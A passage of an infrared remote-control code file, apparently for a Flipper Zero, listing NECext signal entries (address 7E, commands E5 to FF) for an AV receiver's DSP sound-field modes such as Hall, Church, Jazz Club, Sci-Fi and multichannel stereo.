00 +# +name: DSP:_HALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: DSP:_HALL_VIENNE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: DSP:_HALL_VIENNE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: HALL_LIVE_CONCERT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP_HALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP_AMSTERDAM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP_HALL2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP:_AMSTERDAM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: CHURCH_ROYAUMONT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP_LIVE_CONCERT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP_CLASS_AMSTERD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP:_CONCERT_HALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP:_HALL_AMSTERDA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: PGM_LIVE_CONCERT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP:_LIVE_CONCERT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: DSP:_HALL_AMSTERDA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E6 00 00 00 +# +name: CHURCH_TOKYO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E7 00 00 00 +# +name: JAZZ_CLUB_VILL._GATE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E7 00 00 00 +# +name: DSP:_CHURCH_TOKYO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E7 00 00 00 +# +name: PGM_TOKYO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E7 00 00 00 +# +name: DSP:_TOKYO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E7 00 00 00 +# +name: CHURCH_FREIBURG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: JAZZ_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: DSP_CHURCH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: DSP:_CHURCH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: DSP_FREIBURG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: DSP:_FRIEBURG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: DSP:_FREIBURG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: JAZZ_CLUB_BOTTOMLINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: DSP_CLASS_FREIBURG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: DSP:_CHURCH_FREIBU +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: PGM_FREIBURG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: DSP:_CHURCH_FREIBU +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E8 00 00 00 +# +name: CHURCH_ROYAUMONT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E9 00 00 00 +# +name: ROCK_CONCERT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E9 00 00 00 +# +name: ROCK_CONCERT_ROXY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E9 00 00 00 +# +name: DSP_ROYAUMONT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E9 00 00 00 +# +name: DSP:_CHURCH_ROYAU +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E9 00 00 00 +# +name: PGM_ROYAUMONT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E9 00 00 00 +# +name: DSP:_ROYAUMONT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E9 00 00 00 +# +name: JAZZ_CLUB_VIL._GATE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EA 00 00 00 +# +name: ROCK_CONCERT_ARENA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EA 00 00 00 +# +name: DSP_VILLAGE_GATE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EA 00 00 00 +# +name: DSP:_VILLAGE_GATE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EA 00 00 00 +# +name: PGM_VILLAGE_GATE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EA 00 00 00 +# +name: JAZZ_CLUB_VIL._VANG. +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: DSP_VILLAGE_VANGUA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: DSP:_VILLAGEVANGUARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: DSP:_VILL._VANGUARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: STADIUM_ANIHEIM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: DSP_L/C_VIL_VANGUARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: PGM_VILLAGE_VANGUARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: DSP:_VILLA_VANGAURD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: DSP:_VILLA_VANGAURD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EB 00 00 00 +# +name: PRGRM_BOTTOM_LINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: JAZZ_CLUB_BOTTOMLINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP:_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP:_BOTTOM_LINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP_BOTTOM_LINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP:_THE_BOTTOM_LINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: STADIUM_BOWL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP_THE_BOTTOM_LINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP_L/C_BOTTOM_LINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP_BOTTOM_LINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP_THE_BOTTOM_LI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: PGM_THE_BOTTOM_LINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP:_BOTTOM_LINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: PRGRM_ROXY_THEATRE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: ROCK_CONCERT_ROXY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DISCO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP_ROCK_CONCERT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP:_ROCK_CONCERT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP:_ROXY_THEATER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP_ROXY_THEATER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: ENTERTAINMENT_DISCO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP_THE_ROXY_THEATRE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP_L/C_ROXY_THEATER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP:_THE_ROXY_THEATR +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP_ROXY_THEATER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP_THE_ROXY_TH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: PGM_THE_ROXY_THEATER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP:_ROXY_THEATRE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: DSP:_ROXY_THEATRE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: ED 00 00 00 +# +name: ROCK_CONCERT_LOFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: DSP_WAREHOUSE_LO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: DSP:_WAREHOUSE_LOFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: DSP:_WAREHS._LOFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: ENTERTAINMENT_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: DSP_L/C_WHSE_LOFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: DSP:_WAREHSE_LOFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: PGM_WAREHOUSE_LOFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: DSP:_LOFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: DSP:_WAREHOUSE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: DSP:_WAREHOUSE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EE 00 00 00 +# +name: ROCK_CONCERT_ARENA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EF 00 00 00 +# +name: 6_CH._STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EF 00 00 00 +# +name: 8_CH._STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EF 00 00 00 +# +name: DSP_ARENA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EF 00 00 00 +# +name: 5_CH._STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EF 00 00 00 +# +name: DSP:_ARENA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EF 00 00 00 +# +name: PGM_ARENA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EF 00 00 00 +# +name: PRGRM_DISCO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F0 00 00 00 +# +name: ENTERTAINMENT_DISCO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F0 00 00 00 +# +name: DSP_DISCO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F0 00 00 00 +# +name: DSP:_DISCO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F0 00 00 00 +# +name: CONCERT_POP/ROCK +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F0 00 00 00 +# +name: DSP_DISCO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F0 00 00 00 +# +name: PGM_DISCO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F0 00 00 00 +# +name: ENTERTAINMENT_PARTY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F1 00 00 00 +# +name: TV_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F1 00 00 00 +# +name: CONCERT_CLASS/OPERA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F1 00 00 00 +# +name: PGM_PARTY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F1 00 00 00 +# +name: DSP:_PARTY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F1 00 00 00 +# +name: PRGRM_ACTION_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: ENTERTAINMENT_AMUSE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: MONO_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: DSP_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: DSP:_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: DSP_ACTION_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: DSP:_ACTION_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: TV_MONO_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: DSP_ENT_ACTN_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: DSP:_GAME_(ACTION) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: DSP_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: PGM_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: DSP:_ACTION_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F2 00 00 00 +# +name: PRGRM_MUSIC_VID +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: CONCERT_VID_POP/ROCK +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP:_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP:_POP/ROCK +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP:_MUSIC/VIDEO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: TV_VARIETY_/_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP_POP/ROCK +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP_ENT_MUSIC_VID +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP_POP/ROCK +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: PGM_POP/ROCK +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP:_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: CONCERT_VID_DJ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F4 00 00 00 +# +name: SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F4 00 00 00 +# +name: MOVIE_70MM_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F4 00 00 00 +# +name: PGM_DJ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F4 00 00 00 +# +name: DSP:_DJ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F4 00 00 00 +# +name: CONCERT_VID_CLASS/OP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: DSP_RECITALL/OPERA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: DSP:_CLASSICAL/OPERA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: DSP:_RECITAL/OPERA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: MOVIE_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: DSP_CLASSICAL/OPERA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: DSP_ENT_R/OPERA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: PGM_CLASSICAL_OPERA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: DSP:_RECITAL/OPERA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F5 00 00 00 +# +name: CONCERT_VID_PAVILION +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F6 00 00 00 +# +name: ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F6 00 00 00 +# +name: MOVIE_70MM_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F6 00 00 00 +# +name: DSP:_PAVILLION +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F6 00 00 00 +# +name: PGM_PAVILION +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F6 00 00 00 +# +name: PRGRM_MONO_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: TV_THEATER_MONO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: GENERAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: DSP_MONO_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: DSP:_MONO_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: MOVIE_70MM_GENERAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: DSP_MOV_MONO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: DSP_MONO_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: PGM_MONO_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: DSP:_MONO_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F7 00 00 00 +# +name: PRGRM_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: TV_THEATER_VAR/SPORT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP_VARIETY_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP:_VARIETY/SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP:_TV/SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP:_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: PRO_LOGIC_NORMAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP_ENT_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP_TV_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: PGM_VARIETY_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP:_STANDARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP:_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: PRGRM_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: MOVIE_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: MOVIE_ENHANCED +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: DSP_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: DSP:_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: PRO_LOGIC_ENHACED +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: DSP_MOV_SPECTACL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: DSP:_SPACIOUS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: DSP_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: PGM_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: DSP:_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: PRGRM_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: MOVIE_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: DSP_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: DSP:_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: DSP_MOV_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: DSP_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: PGM_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: DSP:_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: PRGRM_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: MOVIE_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: DSP_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: DSP:_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: DSP_MOV_ADVENTUR +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: DSP_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: PGM_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: DSP:_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: PRGRM_DRAMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: MOVIE_GERNERAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: DSP_GENERAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: DSP:_GENERAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: DSP_DRAMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: DSP:_DRAMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: DSP_MOV_DRAMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: DSP:_DRAMATIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: DSP_GENERAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: PGM_GENERAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: DSP:_DRAMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FC 00 00 00 +# +name: PRGRM_STANDARD_ALT. +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: DOLBY/DTS_NORMAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: DSP_NORMAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: DSP:_NORMAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: DSP:_STANDARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: DSP:_SUR._DECODE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: DSP_STANDARD_TOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: DSP_SUR._DECODE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: DECOD:_SURR._DEC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: PGM_NORMAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: SUR_DECODE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: PRGRM_STANDARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: DOLBY/DTS_ENHANCED +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: DSP_ENHANCED +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: DSP:_ENHANCED +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: DSP_STANDARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: DSP:_STANDARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: DSP_MOV_STANDARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: DSP:_MOVIE_STANDARD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: DSP_ENHANCED +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: DSP_MOVIE_STANDAR +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: PGM_ENHANCED +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FE 00 00 00 +# +name: PRGRM_XCH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP_6CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_8CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_7CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_X-CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP_7CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP_8CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP_STEREO_XCH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_X_CH_STERO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_6CH_STEREO 